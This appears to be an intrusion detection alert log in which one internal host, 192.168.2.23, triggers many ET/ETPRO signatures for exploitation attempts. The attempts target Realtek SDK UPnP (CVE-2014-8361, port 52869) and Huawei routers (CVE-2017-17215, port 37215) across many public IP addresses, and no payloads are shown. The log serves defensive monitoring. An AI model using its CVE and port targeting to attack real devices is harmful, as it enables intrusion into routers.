Timestamp:	07/20/24-23:01:42.187124
SID:	2025132
Source Port:	36010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.63.90.68

Timestamp:	07/20/24-23:01:44.895849
SID:	2831300
Source Port:	51438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.184.175.46

Timestamp:	07/20/24-23:01:52.546535
SID:	2025132
Source Port:	45056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.207.21.198

Timestamp:	07/20/24-23:01:41.389908
SID:	2027339
Source Port:	58454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.152.150.214

Timestamp:	07/20/24-23:01:08.588009
SID:	2831300
Source Port:	43106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.101.142.15

Timestamp:	07/20/24-23:01:02.045685
SID:	2829579
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 108.25.203.240

Timestamp:	07/20/24-23:01:11.820979
SID:	2829579
Source Port:	49194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.56.140.249

Timestamp:	07/20/24-23:01:41.286911
SID:	2025132
Source Port:	56910
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 48.147.199.167

Timestamp:	07/20/24-23:01:20.096752
SID:	2829579
Source Port:	37104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.216.198.203

Timestamp:	07/20/24-23:01:43.380019
SID:	2027339
Source Port:	52180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.117.132.232

Timestamp:	07/20/24-23:01:08.595072
SID:	2027339
Source Port:	57374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.124.32.18

Timestamp:	07/20/24-23:01:41.345953
SID:	2025132
Source Port:	45422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.220.105.123

Timestamp:	07/20/24-23:01:47.966822
SID:	2025132
Source Port:	41232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.214.207.137

Timestamp:	07/20/24-23:01:25.002144
SID:	2025132
Source Port:	41796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.104.185.79

Timestamp:	07/20/24-23:01:44.175701
SID:	2025132
Source Port:	38730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.246.56.225

Timestamp:	07/20/24-23:01:41.354322
SID:	2027339
Source Port:	35380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 171.152.33.197

Timestamp:	07/20/24-23:01:27.660100
SID:	2835222
Source Port:	40954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.22.29.107

Timestamp:	07/20/24-23:01:41.456456
SID:	2027339
Source Port:	51624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.33.104.96

Timestamp:	07/20/24-23:01:04.082385
SID:	2835222
Source Port:	57988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 108.136.107.241

Timestamp:	07/20/24-23:01:24.883171
SID:	2829579
Source Port:	33146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.250.23.107

Timestamp:	07/20/24-23:01:04.098909
SID:	2829579
Source Port:	46330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.66.96

Timestamp:	07/20/24-23:01:24.944299
SID:	2835222
Source Port:	60742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.185.125.173

Timestamp:	07/20/24-23:01:04.244899
SID:	2835222
Source Port:	45032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.24.218.23

Timestamp:	07/20/24-23:01:52.428503
SID:	2025132
Source Port:	33086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.203.252.98

Timestamp:	07/20/24-23:01:42.839255
SID:	2831300
Source Port:	51086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.221.242

Timestamp:	07/20/24-23:01:04.118165
SID:	2829579
Source Port:	33562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.250.162.49

Timestamp:	07/20/24-23:01:13.047601
SID:	2027339
Source Port:	42960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.29.47.240

Timestamp:	07/20/24-23:01:49.271801
SID:	2025132
Source Port:	54610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.201.20.41

Timestamp:	07/20/24-23:01:02.349095
SID:	2027339
Source Port:	34796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.46.168.107

Timestamp:	07/20/24-23:01:04.757513
SID:	2027339
Source Port:	35420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.128.212.188

Timestamp:	07/20/24-23:01:24.889164
SID:	2829579
Source Port:	58690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 138.38.220.62

Timestamp:	07/20/24-23:01:43.697010
SID:	2831300
Source Port:	40076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.224.141.66

Timestamp:	07/20/24-23:02:05.311710
SID:	2027339
Source Port:	46826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.232.50.163

Timestamp:	07/20/24-23:01:52.740670
SID:	2027339
Source Port:	37902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.75.86.189

Timestamp:	07/20/24-23:01:01.139063
SID:	2027339
Source Port:	43466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.140.107

Timestamp:	07/20/24-23:01:27.651332
SID:	2829579
Source Port:	57076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.129.60.246

Timestamp:	07/20/24-23:01:46.810790
SID:	2831300
Source Port:	45350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.115.200.136

Timestamp:	07/20/24-23:01:59.992285
SID:	2027339
Source Port:	37240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.83.142

Timestamp:	07/20/24-23:01:00.638418
SID:	2829579
Source Port:	38424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.227.78.54

Timestamp:	07/20/24-23:01:56.091033
SID:	2027339
Source Port:	52910
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.121.151.152

Timestamp:	07/20/24-23:01:20.124695
SID:	2829579
Source Port:	42546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.74.58.220

Timestamp:	07/20/24-23:01:47.818739
SID:	2027339
Source Port:	44594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.195.128.162

Timestamp:	07/20/24-23:01:08.621030
SID:	2027339
Source Port:	40042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 130.180.210.230

Timestamp:	07/20/24-23:01:27.651332
SID:	2835222
Source Port:	60160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.205.64.234

Timestamp:	07/20/24-23:01:20.593640
SID:	2831300
Source Port:	50794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.111.2.186

Timestamp:	07/20/24-23:01:45.148866
SID:	2027339
Source Port:	41282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.113.182.239

Timestamp:	07/20/24-23:00:59.191389
SID:	2835222
Source Port:	55620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.216.25.247

Timestamp:	07/20/24-23:01:45.331813
SID:	2027339
Source Port:	35310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.152.13.65

Timestamp:	07/20/24-23:01:50.257796
SID:	2027339
Source Port:	41528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.236.68.25

Timestamp:	07/20/24-23:01:45.519460
SID:	2831300
Source Port:	36476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.245.86.200

Timestamp:	07/20/24-23:01:12.888802
SID:	2831300
Source Port:	52984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.190.226.142

Timestamp:	07/20/24-23:01:57.885722
SID:	2025132
Source Port:	55240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 82.113.201.213

Timestamp:	07/20/24-23:01:02.046626
SID:	2835222
Source Port:	54748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.175.73.118

Timestamp:	07/20/24-23:01:41.303421
SID:	2027339
Source Port:	50492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.147.225.215

Timestamp:	07/20/24-23:01:45.580167
SID:	2027339
Source Port:	40960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.157.219.101

Timestamp:	07/20/24-23:02:01.681802
SID:	2027339
Source Port:	49888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.69.245.123

Timestamp:	07/20/24-23:01:40.334934
SID:	2829579
Source Port:	35780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.246.19.232

Timestamp:	07/20/24-23:01:06.957274
SID:	2829579
Source Port:	40786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.131.49.54

Timestamp:	07/20/24-23:01:04.064240
SID:	2829579
Source Port:	44422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.210.119.212

Timestamp:	07/20/24-23:01:46.072415
SID:	2027339
Source Port:	49980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.107.52.197

Timestamp:	07/20/24-23:01:52.976222
SID:	2027339
Source Port:	49862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.77.21

Timestamp:	07/20/24-23:01:20.175900
SID:	2829579
Source Port:	33096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.203.224.247

Timestamp:	07/20/24-23:01:00.639011
SID:	2835222
Source Port:	50384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.160.205

Timestamp:	07/20/24-23:00:57.222229
SID:	2835222
Source Port:	54738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.110.126.98

Timestamp:	07/20/24-23:01:42.692028
SID:	2027339
Source Port:	57984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.57.185.177

Timestamp:	07/20/24-23:01:04.053605
SID:	2829579
Source Port:	38846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 131.104.254.70

Timestamp:	07/20/24-23:01:42.651912
SID:	2831300
Source Port:	33732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.137.225.59

Timestamp:	07/20/24-23:01:10.633889
SID:	2025132
Source Port:	54264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.248.218.41

Timestamp:	07/20/24-23:01:40.290003
SID:	2829579
Source Port:	44010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.147.254.33

Timestamp:	07/20/24-23:02:05.544188
SID:	2027339
Source Port:	33672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 177.27.5.34

Timestamp:	07/20/24-23:01:03.215254
SID:	2025132
Source Port:	42804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.130.245.154

Timestamp:	07/20/24-23:01:41.165469
SID:	2025132
Source Port:	58744
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.196.109.144

Timestamp:	07/20/24-23:01:50.395253
SID:	2027339
Source Port:	56002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.66.238.102

Timestamp:	07/20/24-23:00:57.220999
SID:	2835222
Source Port:	41094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 218.132.145.180

Timestamp:	07/20/24-23:01:27.749737
SID:	2829579
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 139.37.94.236

Timestamp:	07/20/24-23:01:08.597662
SID:	2831300
Source Port:	55010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.212.32.19

Timestamp:	07/20/24-23:01:27.729822
SID:	2829579
Source Port:	47494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.63.105.168

Timestamp:	07/20/24-23:01:01.861410
SID:	2025132
Source Port:	55224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.76.139.116

Timestamp:	07/20/24-23:01:46.407113
SID:	2027339
Source Port:	39946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.157.163.186

Timestamp:	07/20/24-23:01:31.320679
SID:	2027339
Source Port:	60890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.180.36.121

Timestamp:	07/20/24-23:01:02.070492
SID:	2835222
Source Port:	36886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.186.31.24

Timestamp:	07/20/24-23:01:44.841232
SID:	2025132
Source Port:	57342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 212.24.31.41

Timestamp:	07/20/24-23:01:41.974742
SID:	2831300
Source Port:	54378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.29.53.230

Timestamp:	07/20/24-23:01:46.661049
SID:	2027339
Source Port:	58624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.163.214.36

Timestamp:	07/20/24-23:01:27.749737
SID:	2835222
Source Port:	47098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.129.60.246

Timestamp:	07/20/24-23:01:44.862542
SID:	2025132
Source Port:	44990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.61.91.2

Timestamp:	07/20/24-23:01:44.996260
SID:	2027339
Source Port:	58652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.78.251.102

Timestamp:	07/20/24-23:01:06.990165
SID:	2835222
Source Port:	44634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.138.195.141

Timestamp:	07/20/24-23:01:47.987185
SID:	2831300
Source Port:	34106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.253.184.187

Timestamp:	07/20/24-23:01:53.503242
SID:	2025132
Source Port:	54978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.149.199

Timestamp:	07/20/24-23:01:24.910426
SID:	2835222
Source Port:	45686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.184.173.22

Timestamp:	07/20/24-23:01:45.660608
SID:	2027339
Source Port:	35026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.81.242.112

Timestamp:	07/20/24-23:01:04.098080
SID:	2829579
Source Port:	38518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.221.172.161

Timestamp:	07/20/24-23:01:42.718842
SID:	2025132
Source Port:	37182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.239.61.12

Timestamp:	07/20/24-23:01:02.065822
SID:	2025132
Source Port:	49282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.185.20.188

Timestamp:	07/20/24-23:01:11.635828
SID:	2835222
Source Port:	42574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.56.45.233

Timestamp:	07/20/24-23:01:43.540053
SID:	2831300
Source Port:	59742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.219.32.62

Timestamp:	07/20/24-23:01:02.048367
SID:	2835222
Source Port:	42542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.141.66.103

Timestamp:	07/20/24-23:01:21.915268
SID:	2835222
Source Port:	54390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.190.28.75

Timestamp:	07/20/24-23:01:08.571946
SID:	2027339
Source Port:	43646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

